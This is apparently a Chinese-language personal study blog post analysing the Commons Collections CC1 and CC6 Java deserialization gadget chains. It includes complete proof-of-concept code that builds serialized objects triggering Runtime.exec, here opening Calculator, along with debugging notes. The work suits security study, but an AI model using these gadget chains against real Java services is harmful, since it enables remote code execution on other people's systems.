java-cc1、cc6

#环境搭建
openjdk 8u65相关源码下载
http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/archive/af660750b2f4.zip
这里经常会下到一半断掉,所以可以直接下载sun文件里面的内容,也是直接点zip下载就行
openjdk 8u65下载
https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html

#调试cc1
##命令执行方式
###一般命令执行方式

Runtime.getRuntime().exec("open /System/Applications/Calculator.app");

###利用反射调用执行命令

Runtime r=Runtime.getRuntime();
Class c=Runtime.class;
Method execMethod = c.getMethod("exec",String.class);
execMethod.invoke(r,"open /System/Applications/Calculator.app");

###transform执行命令(最终命令执行处)
但是此时没办法反序列化,因为Runtime类没有继承序列化接口,所以我们就需要寻找可以实现反射的途径,这里就可以看到
相当于是实现了一个反射方法,而这个transform方法是属于InvokerTransformer这个方法的,而InvokerTransformer是有继承序列化接口,所以就用这个类来构造一下命令执行姿势

public static void main(String[] args) throws Exception {

Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime r= (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"}).transform(r);

}

而这样写又写麻烦,可以使用ChainedTransform直接链式调用:

Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
  • 首先这里的InvokerTransformer传入的参数格式为,第一个是方法名,第二个是方法名的数据类型,第三个是参数。

##构造链条
要构造链条,首先需要找一下哪里调用了transform,在这些map里面均有调用transform

以checksetvalue为函数,再找一下哪里调用了这个checksetvalue

接下来需要看看checksetvalue里面的,可以看到这个checksetvalue是对valuetransformer进行transform进行赋值操作,所以我们需要看看构造函数对如何对这个valuetransformer进行赋值,然后从这里传入,可以看到这里是这个类的一个构造函数

接下来就看看哪里有调用这个checksetvalue,然后在进行探索可以发现,是在setvalue这边使用,接下来就看看哪里调用了这个setvalue

可以看到,在AnnotationInvocationHandler中的readObject直接使用了这个setValue,然后接下来我们只需关注memberValue如何传入即可

可以看到,传入的类型为map类型就行

那我们接下来就捋一下调用链:
InvocationHandler().transformer
->TransformedMap.transformer
->AbstractMapEntryDecorator.setValue
->AnnotationInvocationHandler.readObject
poc:

public static void main(String[] args) throws Exception {

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

Class<Runtime> c = Runtime.class;
// Method getRuntimeMethod= c.getMethod("getRuntime",null);
// Runtime r= (Runtime) getRuntimeMethod.invoke(null,null);
// Method execMethod = c.getMethod("exec",String.class);
// execMethod.invoke(r,"open /System/Applications/Calculator.app");

HashMap<Object,Object> map = new HashMap<>();
map.put("value","bb");
Map<Object,Object> transformedMap =TransformedMap.decorate(map,null,chainedTransformer);

Class<?> b= Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationhdlconstructor=b.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationhdlconstructor.setAccessible(true);
Object o = annotationInvocationhdlconstructor.newInstance(Target.class,transformedMap);

serialize(o);
unserialize("ser.bin");

}

链子写完以后,在调试过程中也是有遇到一些坑点的,这里就来梳理一下

  • AnnotationInvocationHandler中要到我们需要的setvalue部分是存在一个判断,这个的意思是,map.put第一个参数值(“value”)要被作为name,然后去看看Target.class的构造函数中有没有这个value参数名,有的话才能进到判断里面去

    所以这里map.put的值需要取的是value,因为Target.class中是有这个参数名的
  • 过了上面的这个判断以后,在debug过程中,可以看到链子的这个object的值不是我们需要的Rumtime.class,而是变成了另外一个值,所以,这里需要对他进行改写,因此可以利用ConstantTransformer

    ConstantTransformer的作用是,输入什么就固定输出什么,我们一开始在这里输入Rume.class,他在后面的返回值当中就会输出这个内容:

    可以看到,此时已经被改写为Runtime.class了

    到这里整条链子的分析就结束了,成功执行命令

###lazymap版CC1
这里还有另外一种触发方式,就是利用lazymap

可以发现有很多地方都使用了get,这里直接看一下是从哪里进来的,根据网上有的链子,发现还是在annotationinvocationhandler中调用了这个get,接下来就看看如何触发这个invoke

invoke 主要是用来调用某个类中的方法的,但是他不是通过当前类直接去调用而是通过反射的机制去调用。所以这里我们直接调用annotationinvocationhandler的某个方法就行,那么接下来就要看看哪里可以调用这个方法,并且最好在readObject里面,这里需要再看一下进入到invoke里面的判断,主要就是要无参方法的方法才能进入到最后的,大概分析一下:
1.通过method.getParameterTypes()获取方法各参数的Class对象组成的数组
2.可以发现两个判断要绕过的条件就是无参即可

可以发现annotaionhandler的readObject中就存在这个方法了:也就是

但是要劫持一个对象内部方法的调用实现类似php的__call方法,需要使用java中的动态代理才能实现即
java.reflect.Proxy

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

在Proxy.newProxyInstance的第一个参数是ClassLoader
,使用默认的即可,第二个为所需要代理的对象的集合,第三个参数是一个实现了InvocationHandler接口的对象,里面包含了具体代码的逻辑
最后构造出来的下面部分长这样

HashMap<Object,Object> map = new HashMap<>();
Map Lazymap = LazyMap.decorate(map,chainedTransformer);

Class<?> b= Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhdlconstructor=b.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationhdlconstructor.setAccessible(true);

InvocationHandler handler = (InvocationHandler) annotationInvocationhdlconstructor.newInstance(Override.class,Lazymap);

Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},handler);


Object o = annotationInvocationhdlconstructor.newInstance(Override.class,mapProxy);

###CC6
前面说的cc1是需要看jdk版本,过高的话,前面两条链子就无法使用了,而cc6就比较无视版本了
首先来看看他的gadget

Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashMap.readObject()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()

可以发现后面的部分还是一样,使用的是LazyMap,而前面的部分使用了一个TiedMapEntry,重点来观察一下这个TiedMapEntry
里面的getvalue调用了get函数,那么接下来就看看哪里调用了getvalue就可以了

可以发现,在hashcode中就调用了这个getvalue了

而在java.util.HashMap.hash()中调用了这个hashcode,然后在继续在hashmap中的readObject中使用这个hash,所以直接对其进行序列化和反序列化就行了
####错误的尝试

这里直接序列化map2的话是没有结果的,因为此时在put值的时候,put方法里面就有一个hash

那么就会将上面原本链条的内容走完了,所以这里需要将原本的chainedTransformer弄一个假的放进去,然后后面再通过反射重新传入值

Class b=LazyMap.class;
Field lazyfield=b.getDeclaredField("factory");
lazyfield.setAccessible(true);
lazyfield.set(Lazymap,chainedTransformer);

但是此时,也无法实现命令执行,因为此时的key已经被赋值了

但是原本是没有的,也是同样在前面的put过程中被赋值的,这个时候我们就直接将这个key删掉就行了

然后就可以成功命令执行了
完整的paylaod如下

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class cc6 {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

Class<Runtime> c = Runtime.class;
// Method getRuntimeMethod= c.getMethod("getRuntime",null);
// Runtime r= (Runtime) getRuntimeMethod.invoke(null,null);
// Method execMethod = c.getMethod("exec",String.class);
// execMethod.invoke(r,"open /System/Applications/Calculator.app");

HashMap<Object,Object> map = new HashMap<>();
Map Lazymap = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry=new TiedMapEntry(Lazymap,"a");

HashMap<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"aa");

Lazymap.remove("a");


Class b=LazyMap.class;
Field lazyfield=b.getDeclaredField("factory");
lazyfield.setAccessible(true);
lazyfield.set(Lazymap,chainedTransformer);


// serialize(map2);
unserialize("ser.bin");

}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object obj = ois.readObject();
return obj;
}
}

##总结
这次学了java的两条链,从反射等基础知识开始,到手写调用链,确实收获了很多,有几点回忆总结一下
1.印象比较深刻的是cc6也就是和urldns一样的地方,这里需要反射来更改值,不然之前的已经被put执行过一次了,就不会再重新走了
2.使用proxy动态代理的问题,如果是要调用一个内部对象的方法,那么就需要动态代理

Author

vague huang

Posted on

2023-01-03

Updated on

2023-02-10

Licensed under

Comments